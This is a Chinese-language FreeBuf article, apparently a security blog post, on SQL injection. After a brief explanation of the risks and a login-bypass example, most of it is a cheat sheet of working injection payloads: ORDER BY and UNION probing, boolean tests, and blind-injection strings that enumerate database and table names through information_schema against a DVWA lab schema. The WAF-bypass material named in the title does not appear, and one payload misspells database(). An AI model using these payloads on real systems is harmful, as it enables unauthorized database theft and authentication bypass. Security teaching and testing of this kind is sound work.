SQL Injection常用payload及绕过WAF
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
1.SQL注入的安全隐患
一旦应用中存在sql注入漏洞,就可能会造成如下影响:
数据库内的信息全部被外界窃取。
数据库中的内容被篡改。
登录认证被绕过
其他,例如服务器上的文件被读取或修改/服务上的程序被执行等。
2. SQL注入产生的过程
如果一个网站使用数据库来存储用户登录信息,并执行如下的SQL语句进行登录尝试:
select * from users where username='farmsec' and password='123456'
在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。
例如攻击者知道应用程序的username为farmsec,那么他就可以通过提交一下用户名和任意密码,以管理员的身份登录:farmsec' --
应用程序将执行以下查询:
select * from users where username='farmsec' --' and password='sadfas'
于是乎这个查询完全避开了密码检查。
3、探测sql语句占位
1'order by 1--+
1'order by 2--+
1'order by 3--+
1' and 1=2 union select 1,2,3--+
4、报错特征
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1”
5、payload
1.显注
1'and 1=1#
1'or 1=1#
/*!500001'--+-*/ #报错,不常用
/^.*1'--+-.*$/ #报错,不常用
2.bind_inject_payload(burp_intruder)
1' and length(user())=14#
1' and substring(user(),1,1)='a'#
1' and length(database())=4#
1' and substring(databse(),1,1)='a'#
(1)注入库名
1.注入查询有几个库
1' and (select count(schema_name) from information_schema.schemata) =6 #
2.注入第一个库名长度
1' and length((select schema_name from information_schema.schemata limit 0,1))=18 #
## limit 0,1代表截取第一行。limit 0,2代表截取前两行,limit 1,1,代表截取第二行。limit 2,3代表截取从第三行到第五行。
3.注入第一个库名
1' and substring((select schema_name from information_schema.schemata limit 0,1),1,1)='i'
也可以用ASCII码代替。
1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105 #
(2)注入表
1.盲注查询库内有多少个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录